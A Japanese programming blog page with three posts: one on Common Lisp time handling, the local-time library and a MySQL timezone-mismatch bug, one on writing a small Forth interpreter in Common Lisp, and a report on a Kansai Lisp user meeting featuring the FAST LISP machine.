Common Lispと時間とタイムゾーン
Common Lispと時間とタイムゾーン
この記事はLispアドベントカレンダーの4日目の記事です。
あらまし
Common Lispで日時を扱う場合、ANSI仕様には日時のための関数がいくつか定められていますが極めて基本的なものしか存在しません。日時から文字列への変換とその逆、日付の比較や計算といったものは自前で実装する必要があります。が、そんなのいちいちやっていられない。そんなあなたのためのライブラリが日時ライブラリlocal-timeです。
Common Lisp標準仕様における日時
まずは、Common Lispが日時についてどのような機能を提供しているか確認しましょう。この節の内容はCommon Lisp Hyperspecの時刻の章を参考資料として、要約する形で書いています。
Common Lispの仕様では、日時のデータとして以下のものを提供しています:
- Decoded time
- Universal time
- Internal time
- Second
各個を簡単に説明します。
Decoded time
これは九つの値のリストです。日時の内部表現としては通常UNIX timeのように、ある基準日時からの秒数という形がとられることが多いと思いますが、それを人間が扱いやすい形にしたものです。リストには次の内容が含まれます：「秒」「分」「時」「日」「月」「年」「曜日」「日中」「サマータイムの影響下か否か」「タイムゾーンオフセット」。get-decoded-time関数で現在時刻を取得したり、後述のuniversal timeから変換して得ることができます。
Universal time
これは整数値で、GMTにおける1900年1月1日の0:00からの秒数です。なので精度は秒です。Decoded timeと違うのは、日時の計算（三時間後とか前日零時など）や比較（この日時は今日か、など）が行いやすいことです。ただし、秒と所望の単位との変換にそれなりの労力を必要とします。
Internal time
これも整数値ですが、こちらは秒以下の精度がほしいときに使うものです。計算機内部のタイマーや、可能ならばHPETを利用して値を取得するようですので、精度は環境に依存します。秒にいくつの「単位」が詰まっているか、要するに精度ですが、internal-time-units-per-secondで確認できます。
Second
これは整数値で、秒を表します。sleep関数の引数となるものです。
以上四つがCommon LispのANSI仕様で公式に定義されている日時表現です。プリミティブすぎるので、実際に実用する際には抽象化を施す必要がありそうです。そして、その抽象化をしてくれるライブラリがあるのです。それが次の節で述べる、local-timeというライブラリです。
日時ライブラリ: local-time
ANSI仕様で提供された日時関数群では、たとえば以下のようなことをするのにひと手間ふた手間かけなければなりません:
- 日時を所望のフォーマットの文字列に変換する
- 文字列で表現された日時を日時データに変換する
- ある日時の三日後、二年前、といった日時を計算する
- タイムゾーンを
Asia/Tokyoといった文字列で指定し、計算や比較のときに考慮する
そんな手間を一挙に引き受けてくれるのが、ライブラリlocal-timeです。
とりあえず現在時刻を取得しましょう。こんなふうにすると、時刻がlocal-time:timestampクラスのインスタンスが返ってきます:
CL-USER> (local-time:now) @2018-12-02T12:28:33.527163+09:00
よくある処理の例として、ある時点においてセッションが有効かどうかの判定を行うとします。セッションは4時間で無効になるとしましょうか。それはこんなふうな処理になります。
;; 4時間以内に作成されたセッションは有効 CL-USER> (defun session-available-p (session-created) (local-time:timestamp<= (local-time:timestamp- (local-time:now) 4 :hour) session-created)) SESSION-AVAILABLE-P ;; 有効なセッション CL-USER> (defparameter session-created (local-time:now)) SESSION-CREATED CL-USER> (session-available-p session-created) T ;; 5時間前につくられたセッション CL-USER> (defparameter unavailable-session ;; decoded-timeの各値を指定してtimestampを生成 (local-time:encode-timestamp 0 0 0 0 2 12 2018)) UNAVAILABLE-SESSION CL-USER> (session-available-p unavailable-session) NIL
時差についてはどのように扱えばよいのでしょうか。まず、local-timeはシステムのタイムゾーン設定を読みとって、その内容をlocal-time:*default-timezone*にセットしています。たとえばぼくのマシン（Asia/Tokyo）で見てみるとこんな感じです。
CL-USER> local-time:*default-timezone*
#<LOCAL-TIME::TIMEZONE LMT JDT JST JST>
たとえばこれを外部サーバのRDBMSがUS/Easternなので揃えたいという場合、以下のようにしてタイムゾーン情報をロードしたあとに、タイムゾーン情報を名前で指定して設定する、ということをします。
;; タイムゾーン情報を読み込み CL-USER> (local-time:reread-timezone-repository) ; No value CL-USER> (local-time:find-timezone-by-location-name "US/Eastern") #<LOCAL-TIME::TIMEZONE EDT EST EWT EPT> T ;; タイムゾーンをUS/Easternに設定（と前後の確認） CL-USER> (local-time:now) @2018-12-03T23:56:26.228703+09:00 CL-USER> (setf local-time:*default-timezone* (local-time:find-timezone-by-location-name "US/Eastern")) #<LOCAL-TIME::TIMEZONE EDT EST EWT EPT> CL-USER> (local-time:now) @2018-12-03T09:56:31.047229-05:00
ちなみにもし揃えたいタイムゾーンがUTCの場合、定数local-time:+utc-zone+にはじめから設定してあるので、こちらを利用するとよいでしょう。
どうでしょう。地味ながら、それなしではつくれないソフトウェアがぼろぼろありそうな、とても感謝なライブラリということがおわかりいただけたと思います。
まとめ
この記事ではANSI Common Lisp仕様における日時の扱い方を解説し、より実践的で便利なライブラリであるlocal-timeを紹介しました。日時の扱いは間違いを生みやすく、そして時々刻々と変化するため再現の難しいバグを生みやすいです。基本的には自分で実装したりせず、信頼できるライブラリを用いましょう。
……ん？ 記事はもう終わりですよ？
Common Lispと時間とタイムゾーン 〜 設定のブレに気をつけろ！
ある日、日時を扱うソフトウェアをつくっていてハマったことがあったんです。
それは、おしごとでのある案件でねぇ、そのときはlocal-timeの不具合だったように見えたんですよ。わたしはねぇ、「Lispアドベントカレンダーのネタにしよう」と思ってわくわくしていたんです。わくわくして記事を書いて、ふと、再現実験させてみちゃったりする。すると、再現しないんですよ。恐ろしくてね、こう、冷や汗がタラ〜って、流れてしまいましてねぇ。
——これは、そんな哀しみの物語。
発生現象
そのとき書いていたソフトウェアはあるウェブアプリケーションのバックエンドプログラムでした。そのシステムではアクセス可能時間を制御しており、DBに記録される最終操作日時が特定の時間を過ぎるまで操作が行えないという処理が必要でした。処理系にはSBCLを選択し、RDBMSとしてMySQLを利用しておりました。各RDBMSのクライアントライブラリはlocal-timeい依存しておらず、したがってDBから取得される日時は素のCommon Lispで扱えるuniversal timeでやってきます。
そこで、Universal timeを受けとり、現在操作が可能かを判定する述語として以下のようなready-pを用意してAPIのほうで呼び出していました。
;; プログラムの最初でタイムゾーンをUTCにしている、こんなコードで: ;; (setf local-time:*default-timezone* local-time:+utc-zone+) ;; 理由は`local-time:today`はUTCでの0:00を返すため (defun ready-p (created-at) (or (null created-at) (let ((created-at (universal-to-timestamp created-at))) (timestamp<= created-at (timestamp+ (local-time:today) 2 :hour))))))
このプログラムのフロントエンドを担当していたプログラマはMac使い（ぼくはUbuntu使い）で、Common Lispで実行可能バイナリを作成可能とはいえ、Ubuntuでつくったバイナリをそのまま渡しても動きません。なので、Docker上にUbuntu環境をつくってその上でビルドし、そのDockerfileを渡すようにしました（そのへんの話は12/7(金)のLispアドベントカレンダー記事（TODO:リンクを貼ること）に書きます）。
そして、渡したDockerfileをビルドした彼が云って曰く、
「なんか日時の処理がおかしい…🤔」
具体的には、システム時計が2018-12-04T17:00:00Zのときに上記のコードにcreated-at引数に2018-12-04T2:00:01Z相当のuniversal timeを与えてready-pを呼ぶと、nilが返ってくるのです（同日の2:00:01は2:00:00より後なので、tとなるのが正しい）。
なんでじゃ。なんでなのじゃ…。
調査開始
時刻の不具合といえばやっぱりタイムゾーンがあやしいです。なのでいろいろ話したり試したり調べたりしてみたところ、次のようなことがわかりました:
- SQL仕様では
timestamp型には、タイムゾーンありとタイムゾーンなしものがある（参考: PostgreSQL 9.4.5のマニュアル） - MySQLはタイムゾーンありの
timestampは存在しない！（参考: MySQL 5.6のマニュアル） - ぼくの環境では直でMySQL Serverが動いており、マシンのタイムゾーンは
Asia/Tokyoに設定されている - 彼の環境ではDockerコンテナ内でMySQL Serverが動いており、OSのタイムゾーンは未設定（おそらくUTC）
タイムゾーンについてほかの影響要素はないかと調べると、POSIXシステムにおいてはTZ環境変数を通じてタイムゾーンをユーザが変更できるようでした（参考: GNU libcのマニュアル）。
立てた仮説はこうです。
「TZ環境変数の値によって、local-time:universal-to-timestampの返す値が異なるのではないか？」
そこで、手元マシン、タイムゾーンがUTCな仮想マシンを作成し、こんな感じで検証してみました。
$ TZ='Asia/Tokyo' ros run -s local-time -e '(setf local-time:*default-timezone* local-time:+utc-zone+) (print (local-time:universal-to-timestamp 3800000000)) (terpri)(quit)' @2020-06-01T11:33:20.000000Z $ TZ='UTC' ros run -s local-time -e '(setf local-time:*default-timezone* local-time:+utc-zone+) (print (local-time:universal-to-timestamp 3800000000)) (terpri)(quit)' @2020-06-01T11:33:20.000000Z
お、おぉ……？ 同じ日時になっとるやんけ。あのおしごとでの解決方法はなんだったんだ…？ その場では上記仮説に従い、
(defun universal-to-timestamp* (ut) (multiple-value-bind (sec min hour date month year) (decode-universal-time ut) (encode-timestamp 0 sec min hour date month year)))
というコードを追加して、UTCに直す、ということをやったのですが、それは間違っていたということなの…？
追加調査
結論からいえば、間違っていました。正しい原因はこうです。
「mysqldとCommon Lispのプログラムとの間でタイムゾーンの設定が異なると、cl-mysqlがtimestamp (SQLの型)をuniversal timeに変換するときに時間がずれる」
家で上記の確認をしても、一向に現象が再現できないため、新たな方向で調べはじめました。確認のために書いたコードはこれです。タイムゾーンがUTCに設定されたVMを立て、その中で、データベースの作成後にまずcraete-tableとinsert-rowを流し、その後tztestテーブルの中身を、TZ環境変数の値を変えつつ見てみます。
#!/bin/sh #|-*- mode:lisp -*-|# #| exec ros -Q -- $0 "$@" |# (progn ;;init forms (ros:ensure-asdf) #+quicklisp(ql:quickload '(:uiop :cl-dbi :dbd-mysql :sxql :local-time) :silent t) ) (defpackage :ros.script.tztest.3752729426 (:use :cl)) (in-package :ros.script.tztest.3752729426) (defmacro with-db ((var) &body body) `(cl-dbi:with-connection (,var :mysql :database-name "tztest" :host "localhost" :username "root" :password "root") (cl-mysql-system::set-character-set "utf8mb4") ,@body)) (defun execute-sql (conn sxql) (multiple-value-bind (query params) (sxql:yield sxql) (apply #'dbi:execute (dbi:prepare conn query) params))) (defun create-table () (with-db (conn) (let ((query (sxql:create-table :tztest ((id :type :bigint :not-null t :auto-increment t :primary-key t) (ts :type :timestamp :default (local-time:parse-timestring "2000-01-01")))))) (execute-sql conn query)))) (defun insert-row (ts-str) (with-db (conn) (let ((query (sxql:insert-into :tztest (sxql:set= :ts ts-str)))) (execute-sql conn query)))) (defun select-rows () (with-db (conn) (let ((query (sxql:select (:id :ts) (sxql:from :tztest)))) (dbi:fetch-all (execute-sql conn query))))) (defun print-db-timestamp (row) (format t "~a: ~a~%" (getf row :|id|) (local-time:universal-to-timestamp (getf row :|ts|)))) (defun main (&rest argv) (declare (ignorable argv)) ;; (create-table) ;; (insert-row "2018-12-02 04:00:00") (let ((rows (select-rows))) (format t "***** TZ: ~a, *dt*: ~a~%" (uiop:getenv "TZ") local-time:*default-timezone*) (mapc #'print-db-timestamp rows) (terpri) (setf local-time:*default-timezone* local-time:+utc-zone+) (format t "***** TZ: ~a, *dt*: ~a~%" (uiop:getenv "TZ") local-time:*default-timezone*) (mapc #'print-db-timestamp rows) (terpri))) ;;; vim: set ft=lisp lisp:
mysqldはTZがUTCの状態で固定し、roswellスクリプトのほうはTZの値を変えて実行した結果がこちらです。
$ TZ=Asia/Tokyo sudo ./tztest.ros ***** TZ: Asia/Tokyo, *dt*: #<TIMEZONE LMT BST GMT BDST BST BST GMT GMT> 1: 2018-12-01T19:00:00.000000Z ***** TZ: Asia/Tokyo, *dt*: #<TIMEZONE UTC> 1: 2018-12-01T19:00:00.000000Z $ TZ=UTC sudo ./tztest.ros ***** TZ: UTC, *dt*: #<TIMEZONE LMT BST GMT BDST BST BST GMT GMT> 1: 2018-12-02T04:00:00.000000Z ***** TZ: UTC, *dt*: #<TIMEZONE UTC> 1: 2018-12-02T04:00:00.000000Z
見事、cl-mysqlの返す日時にちょうど9時間、UTCとJSTの間の時間分の差が生まれています。
オチ
複数のプログラムが協調して動くシステムを構築するとき、とくに日時や時刻を扱う場合には、走らせるソフトウェアの間でタイムゾーンの設定が同じになるように注意しましょう。
Forthを実装する
Forthを実装する
スタックベース変数いらずのふしぎなプログラミング言語、ForthをCommon Lispで実装しました。というか絶賛開発中のufというもので、これです。
執筆時点で
- 整数値のパース
- 基本的なスタック操作命令と出力
- ワード（Forthにおける関数）の定義と呼び出し
- 条件分岐
- 不完全な（なんだかバグい）REPL
ができます／あります。フィボナッチ数の計算ができるところまでは確認しました。
動機
先日、自作Lispのためハッシュテーブルの実装について考えたと書きました。
そのLispは抽象機械で実行されるタイプにしようと思って考えているのですが、肝心なVMの設計のしかたや感覚がどうにもわからない。じっさいのCPUみたいなものを考えだすと、それはそれでどうもちがうようです。そこで「ほぼ機械語」「スタックマシンみたいなもの」という評の言語があり、名をForthといい、それを覚えてみればいろいろ見えてきそうだなあと思ったため、実装してみました。
実装言語は手慣れているのでCommon Lispにしました。
Forthとは
Forthは、空白で区切られたアトムと呼ばれる構文単位からなるプログラムと、データのやり取りに使うデータスタック、それと他の言語における関数に相当するワード（値ではないアトム）――これは処理の本体を指す――、とその戻りスタック、で構成されたプログラミング言語です。
特徴として、プログラムのほとんどが何かの関数名で構成され、オペランドがないためコードサイズがとても小さくなる、ということがよく言われます。
どうもこの言語、かなり変わったしくみと見た目をしているだけでなく、ANSI、そしてISOで仕様が定められている程度には利用されているようです。最新のForthの仕様は2012年のもの！ すごいですねえ。
構文
Forthの構文は非常にシンプルで、スペース区切りで命令を並べていくだけです。実際のForthには文字列やコメントなど、一部のものについてパーサが特別扱いする要素があります。が、今回実装したオレオレForthにはそのようなものはまだ実装されていないので、スペース区切りでトークンが並んでいるものとして差し支えありません。
コード例は以下のような感じです（ただしオレオレ処理系にコメントはありません）：
\ 1+2を出力 2 1 + . \ あたらしいワード `<=` (less than or equal)を定義 \ ちなみにForth 2012の規格とは引数の順序が異なる : <= over over < rot swap = or ; \ 上で定義した `<=` を実行して結果を出力（Forthでは-1が真値） 2 1 <= .
意味論
Forthは意味論もとてもシンプルです。Forthにおける切り出されたトークンはアトムとよばれ、アトムには定数とワードの二種類があります。コードを実行するとき、解釈しようとしているアトムがディクショリナリに登録されたワードである場合、そのワードの処理が実行されます。そうでなければ定数としてスタックに積まれます。それだけです。
それまでに登録されているワードを使って新たなワードを自分で定義することができ、そうやって実行環境を拡張しながらプログラムを書いていくのがForthの特徴です。
実装
さて、とりあえずまずは動くものがほしかったので、最小限の要素で実装してみます。とりあえずインタプリタとしてフィボナッチ数が計算できるくらいまでの規模を目指します。
まず、（実装して）用意するものはパーサです。まあこれは「ストリームから一文字ずつ読んでいってバッファに溜めていき、空白やEOFなどの終わりが来たらシンボルの形でプログラムリストに追加」をやるだけです。数値型が使えると電卓になっていいので、とりあえずCommon Lispの整数型に対応させてみました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L26 (defun parse (stream) (let (code buf atomp numberp) (flet ((read-atom (ch) (unless atomp (setf atomp t) (when (digit-char-p ch) (setf numberp t)) (setf buf nil)) (unless (digit-char-p ch) (setf numberp nil)) (push ch buf)) (terminate-atom () (when atomp (setf atomp nil) (let ((s (concatenate 'string (nreverse buf)))) (if numberp (push (parse-integer s) code) (push (intern s :uf/dict) code)))))) (loop :for ch := (read-char stream nil :eof) :until (eq ch :eof) :do (case ch (#\space (terminate-atom)) (#\newline (terminate-atom)) (t (read-atom ch))) :finally (progn (terminate-atom) (return (nreverse code)))))))
つぎに評価器、というか解釈器ですが、その前に必要なオブジェクトを構造体として定義しました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L55 (defstruct word name fn start system-p) (defstruct vm code ip dict stack rstack ifdepth skip-to debug-p) (defparameter *dictionary* nil) ;; vmのディクショナリから現在指している箇所のアトムを拾う (defun get-atom (vm) (prog1 (nth (vm-ip vm) (vm-code vm)) (incf (vm-ip vm))))
word構造体は名前と、システム定義のワードの場合は本体の関数、ユーザ定義の場合はコード中のエントリポイントを格納します。あと、実行状態をvm構造体として定義しました。実行対象のコードそのもの、プログラムカウンタ(ip)、ディクショナリ、データスタック(stack)、ワード呼び出しのスタック(rstack)、条件分岐ワードifのネストの深さ(ifdepth)、ifでスキップするときの状態……。これだけの情報があれば、途中からプログラムを再開できそう。できるといいなあ。*dictionary*はデフォルト状態のディクショナリを保持しておき、vmを作るときにコピーする運用としたいと思います。
解釈器の前にもうひとつ、ワードの定義処理も書いておきます。ワード定義のためのワード:がきたらここに飛ぶようにします。定義は、名前(:の次のワード)を覚えておき、ワードのコード開始位置を覚えたあと、定義終わりのワード;まで読み飛ばします。この実装ではシステムのワードを上書きできないようにしてあります。また、ディクショナリは本来線形リストにするものらしいですが、めんどくさかったのでCommon Lispのパッケージをひとつ、処理系実行用に当てています。あまりよくないかも…。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L70 ;; compilationの萌芽かな…？ (defun define-word (vm) (let ((name (get-atom vm))) (when (null name) (error "invalid word definition : it doesn't have a name.")) (let ((start-pos (vm-ip vm))) (loop :for atom := (get-atom vm) :until (eq atom 'uf/dict::|;|) :do (when (null atom) (error "invalid word definition '~a': it doesn't have ';'." name))) (let ((word (make-word :name name :system-p nil :start start-pos))) (let ((w (find name (vm-dict vm) :key #'word-name))) (if (and (not (null w)) (word-system-p w)) (error "cannot overwrite the predefined word: ~s" name) (push word (vm-dict vm))))))))
そして、解釈器本体です。コードはとても長いというわけではないので意を決して貼ります。
やっていることはとっても単純で、ワード定義の:や;、条件分岐のif、else、thenを特別扱いしつつ、そのいずれでもなかった場合は、ディクショナリからのワード探索を行なう、というふうにしました。(vm-skip-to vm)で分岐してスキップのときの処理と、通常の解釈のときの処理を分けていますが、これはifのためです。ワード定義はネストされませんが、ifはネストされる可能性があります。そのため、ifの深さを見ながら不要な部分をスキップする処理が、スキップ部分の処理です。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L87:embed:cite ;; interpretationの萌芽かな…？ (defun execute (vm) (loop :for atom := (get-atom vm) :until (null atom) :do (when (vm-debug-p vm) (format t "; name = '~a', stack = ~s, ifdepth = ~s, skip-to = ~s~%" atom (vm-stack vm) (vm-ifdepth vm) (vm-skip-to vm))) :if (not (null (vm-skip-to vm))) :do (cond ((eq atom 'uf/dict::|if|) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((and (eq (car (vm-skip-to vm)) :false) (= (1+ (cdr (vm-skip-to vm))) (vm-ifdepth vm))) (setf (vm-skip-to vm) nil)))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `then`") (progn (decf (vm-ifdepth vm)) (when (= (vm-ifdepth vm) (cdr (vm-skip-to vm))) (setf (vm-skip-to vm) nil)))))) :else :do (cond ((eq atom 'uf/dict::|:|) (define-word vm)) ((eq atom 'uf/dict::|;|) (if (null (vm-rstack vm)) (error "invalid syntax: reach ';' with empty rstack.") (setf (vm-ip vm) (pop (vm-rstack vm))))) ((eq atom 'uf/dict::|if|) (unless (= (pop (vm-stack vm)) -1) (setf (vm-skip-to vm) (cons :false (vm-ifdepth vm)))) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((null (vm-skip-to vm)) (setf (vm-skip-to vm) (cons :true (1- (vm-ifdepth vm))))))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `else`") (progn (decf (vm-ifdepth vm)) (when (and (vm-skip-to vm) (> (vm-ifdepth vm) (cdr (vm-skip-to vm))))) (setf (vm-skip-to vm) nil)))) (t (let ((word (find atom (vm-dict vm) :key #'word-name))) (if word (if (word-system-p word) (funcall (word-fn word) vm) (progn (push (vm-ip vm) (vm-rstack vm)) (setf (vm-ip vm) (word-start word)))) (push atom (vm-stack vm))))))))
あとは、基本的なワードを定義するのみですが、これにはそこそこ長いコードを毎回書かなくてはならずめんどうです。そこでマクロdefwordを書いて楽をしました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defmacro defword ((name) &body body) (let (($fn-name (intern (format nil "word:~a" (symbol-name name)) :uf/dict)) ($word (gensym "uf"))) `(progn (defun ,$fn-name (vm) (declare (ignorable vm)) ,@body) (let ((,$word (find ',$fn-name uf/core:*dictionary* :key #'word-name))) (if ,$word (error "word ~s is already registered" (word-name ,$word)) (push (make-word :name ',(intern (symbol-name name) :uf/dict) :fn (function ,$fn-name) :system-p t) uf/core:*dictionary*))))))
それによって定義されたのが、標準出力にスタックトップの値を出力するこんなワードです。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defword (|.|) (format t "~a" (pop (vm-stack vm))))
これで、以下のようにしてフィボナッチ数を計算できるようになりました。
やったー！ 自作Forthでフィボナッチ数を計算できたぞー！ pic.twitter.com/Z2pUZDgZvw
— t-sin (@sin_clav) 2018年10月18日
感想
かなり小さなコードで動くものが書けるというのがForthすごいところです。たぶんパーサが簡単な分、Lisp処理系よりも簡単なのではないでしょうか。たぶん実用的にするのにも、基礎ができたらあとはワードを充実させるだけで対応可能っぽいので、DSLにするのにもいいかもしれないです。
ただ、ifの実装はスタック的な走査を生でゴリゴリ書かないといけないので、ちょっと面倒くさいです。今回の実装では力技で乗り切りましたが……。
これから
ufの実装は、ifの実装がちょっと汚く、これを如何とすべきか、というところがひとつ。解決の方針としては、そもそもifを解釈しないという方針がありそうです。Forthの仕様書によれば処理系の状態はexecution、interpretation, compilationの3つあるそうですが、ifの項目を見ると、ワード定義の間（ここをcompilation modeというらしい…？）でしか使えないことが書かれています。バイナリコードにコンパイルするときに、ジャンプ先を解決してしまい、実行時にはジャンプ命令で済ませてしまう、というのがおそらく本来の実装方法のようです。なので、まずは仕様書を読み込むかLET OVER LAMBDAを読んでそのあたりを勉強してみようと思います。
また、フィボナッチ数列を計算できたけど、もっと実際的なプログラムに使ってみたいので、なにか用途を考えなくてはならないなあと思いました。弾幕STGとか、そういうものの低レベル組み込み言語とかにしてみると楽しいかもしれません。
関係ないけど
wlをVM型にするの、どうしようかなー。必要ないといえば必要ないけど、似非コンパイル（VM機械語とVMのセット）ができそうなのでやりたいとも思っており。なやましいですね。
第7回関西Lispユーザ会に行ってきた
その昔、Lispを実行することに特化したマシンがありました。Lispマシンと呼ばれたそのマシンは、当時の人工知能ブームの後押しを受けて盛んに製作されていたそうです。MIT AIラボのCONSマシンやCADRマシン、それに日本でもいくつかつくられたようです。
Lispが好きでたまらない人間には夢のようなマシンです。いろんなLispマシンの記事を読んでいると、Lispを実行するための高速化の方法とか、OS自体がLispで書かれていてREPLでOSを直接設定できるとか、ほんとうに夢のよう。
ところで神戸大学には、そこでつくられたLispマシンが飾られている場所があるらしいです。日本でつくられて、それも高性能だったLispマシン、一度はこの目で見てみたいなーと考えていました。
そんなところに第7回関西Lispユーザ会の開催告知が。神戸大学で、Lispマシンの開発者である先生をお招きして、Lispマシンの見学会まであるですって。
これは見に行かないと人生損だなよ。
……そんなわけで、第7回関西Lispユーザ会に行ってまいりました。
関西Lispユーザ会とは
関西Lispユーザ会は、関西でLispを使う人たちの集いの場です。Lispってたのしいんだよ、ということを広めていくためにOpen Source Conferenceに出典したり、今回のように発表の場を設けたり、このごろはもくもく会を開催したり、と精力的に運営されています。
この日のイベントスケジュールは以下を参照していただきたいのですが、会場は神戸大学の講義室の一室でした。いいキャンパスでした。
kansai-lisp-useres.connpass.com
また余談ですが、神戸大学出身の知り合いから聞いていた事実がつぎつぎに証明されていくのでとても楽しかったです（大学までが登山（ほんとに坂がきつい）、イノシシが出る（ウリボーロードという道がある）、など）。
会では、発表（LT, Lisp Talkの略）の合間に休憩があって直前の内容について議論したり雑談があったりというのは新鮮だなーと感じました。とはいえ、shibuya.lispのLisp meetupでも発表者入れ替わりの合間に雑談は入るので、関西弁によるノリが新鮮だったのでしょうか。
発表
Past and Future of CG on Lisp
まずはympbycさんによる、Lispとコンピュータグラフィックスの話です。
Lispといえばだいたい「人工知能」「Webアプリケーション（Paul Graham）」「ゲーム（クラッシュバンディクー）」と認識されることが多いですが、じつはコンピュータグラフィックスの言語だったこともある、というふうに話が始まります。SymbolicsがCGの部署をもっていたり、Lispで3Dモデルの作成やそれによるアニメーションの製作に使われていた時代もあったよね、と。
しかし、いまは
Lisp CGの冬 (1999~現在)
GPUの進化により並列で行列計算を行い、昔はレンダリングするのに何十時間とかかっていたレイトレーシングも、いまやリアルタイムでできるようになりました。いまやモデルそのものアニメーションそのものをすべてシェーダで生成してリアルタイムレンダリングする時代です（参考: shadertoy）。そんな「冬」の時代のコンピュータグラフィックスとは……。
シェーダをLispで書く
それを実現するのが、このライブラリ、CEPL。
このライブラリは、Common Lispのマクロで記述されたLispっぽいコードを、OpenGLのシェーダ言語GLSLにコンパイルし、REPLからシェーダを書いてOpenGLの中へつっこむことを可能とします！！
たとえばこれは、リアルタイムで描画されるLispエイリアンのデモ動画です。
たとえばこれは、実装途中のものですがレイトレーシングです。屈折・反射をリアルタイムで描画しています。もちろんCommon Lispで！！
おもしろいですね。ちなみに応用としては以下のようなものが考えられるそうです:
- 物理シミュレーション
- ライブコーディング
- GLSLをエクスポートして…
- Unityで利用
- shadertoyに投稿
- 科学計算
すごいですね。ぼくはShadertoyにアカウントつくろうとしたらそのときの貰いものGPUが古くてできなかった苦い思い出をお持ちなので、こんどこそトライしてみようと強く感じました！
ところで、おもしろかったのがympbycさんが過去にされていたことで、Haskellの影響を受けたカリー化された関数によって特殊形式が存在しないLisp処理系Carrotや、Serial Experiments Lainに出てくるCommon Lispコードを特定した記事、Smalltalk勉強会に行っていた話（その人が歴史、みたいな人がいる）、3Dプリンタをピックアンドプレースマシンに改造した、などがありました。つよい。
Julia is your friend
つぎはfu7mu4さんの、プログラミング言語Juliaの話です。
www.slideshare.net
Juliaといえば、科学計算向けの動的言語で、Nimのライバル（ではない）ですね。発表によると、Juliaを開発した動機にはいろいろなものが挙げられていますが、とくに（Lisperに）強調しておきたいのは、
Lispのような真のマクロが使える同図像性のある言語
という点です。これは、これは。Lispじゃん？ ねっ？ という。なので、Lisp使いには親和性が高い言語なのです、と続きます。
具体的には、シンボルがあり、式を表現するオブジェクトを生成・操作できてしかもS式っぽいかたち。そして、式を表現するオブジェクトがあるのなら、それを返す式だってあるよねということで式変換ができ、それならコンパイル時に実際に式変換を適用するこができるよねということでマクロが登場し、Juliaは完全にLisperに対してフレンドリーです。この言語、ちょっと触ってみたいなと感じました。
ちなみにNimとJuliaのマクロまわりの違いについてのぼくの印象は以下のような感じ:
JuliaとNimだと、Juliaのほうがマクロシステムは綺麗だなあ。
— t-sin (@sin_clav) October 13, 2018
NimだとASTのノード（変数、if文、……）をひとつずつインスタンス化していく形。JuliaはクオートされたリストをExprオブジェクトにする、という形。
— t-sin (@sin_clav) October 13, 2018
神戸大学Lispマシン、FAST LISPとAIに関わる私的技術史
そして最後に、FAST LISPを開発された瀧和男先生によるお話です。
高校生のころから電子工作をされご自分でコンピュータをつくってきたという流れの7番目に位置付けられる、FAST LISPマシン。開発の動機としては次のようなことを述べられていました（意訳）：
ビットスライス・プロセッサ（Wikipediaの記事）という、新しいしくみのプロセッサが当時発表され、これをつかった独自のコンピュータをつくってみたいと考えていた。その一方でMITでは、Lispマシンが開発され話題になっていた。そこで、ビットスライス・プロセッサを使ってLispマシンをつくってみたいと思った。
ハードウェア・ソフトウェア両面の実装の苦労話等を設計図とともにお話いただいたのですが、ぼくはハードウェアのほうがからっきしだったため、記憶にあまりのこっておらず…。ただ、インタプリタのコードの雰囲気は、実装したことがあるのでなんとなく覚えていますが…。もっと頭に叩き込んでおけばよかった…。
そしてLispマシンの話へ。MITのCONS、CADRマシンがつくられてSymbolics社とLisp Machine社に分かれた話とか、一方でXeroxのInterlispとか、さらに一方日本のLispマシンのとくにFAST LISPの系譜に連なるFACOM α（富士通）やELIS（電電公社）に言及がありました。ここらへんの話はとっても興味があるので、一冊の本になったりするとぼくは超絶よろこびます。
そして第五世代コンピュータに関わった話やベンチャー企業の社長をやった話を経て、現在やっている人工知能の応用プロジェクトの話に移ります。現在の人工知能分野には二つの系統があり、ひとつは機械学習や深層学習の系統のパターンを処理する人工知能と、エキスパートシステムやパズル・ゲームの対戦などの、ルール記述と論理推論によって記号を処理する人工知能がある、とのことでした。現在はパターン処理系のAI分野の成功が華々しいですが、これからはパターン処理と記号処理の境目に応用の爆発が起こるだろうと瀧先生は言います。
ぼくはちょうど、対話システムを開発する会社に身を置いているのでこのあたり、とても面白く話を聞いていました。
FAST LISPの見学
瀧先生のお話のあとは、FAST LISPの実機を参加者一同で見学です。道中、神戸大学の施設について瀧先生に解説いただきながら向かいました。
ここからは（たまたま）（動物を撮るために）カメラを持っていっていたので、その写真です（しかし、ISO感度の設定をミスっていて、とってもノイズが乗っていて涙目…）
まずは前面外観。これですよ！ これがLispマシン！！ FAST LISPです！！
前面には上から、インタプリタの内部状態と電源操作をするためのパネル、CPUのユニットが横一列に並んている区画、メモリのユニットが並んでいる区画があります。メモリユニット区画の下にあるRamda-16ってなんだったか…設計図とともに説明があり、たしかFAST LISPをコントロールする用のなにかだったような気がするのですが…思い出せない…。
ちなみにCPUとメモリの電子部品は手ではんだ付けされたそうです。
フロントのパネルに寄った写真です。7は七代目の瀧先生のコンピュータだから、だそうです。FAST LISPでは処理系が利用するスタックがソフトウェアではなくハードウェアで実装されていたので、当時としては速くプログラムを実行できたのではないか、と考察されていました。
そしてFAST LISPの文字やLISP MACHINE SYSTEM、TAKITAC 1979の文字は業者に依頼したというのではなく、ご自分で写されたそうです。なんだか「ステンシル」というワードが聞こえましたがくわしくないのでよくわかりません。
あっ。ステップ実行とかどうやって操作するんだろうとあの場では思ってたんですが、右下にちゃんとRUN/STEPのスイッチがありますね。なるほどー。
懇親会
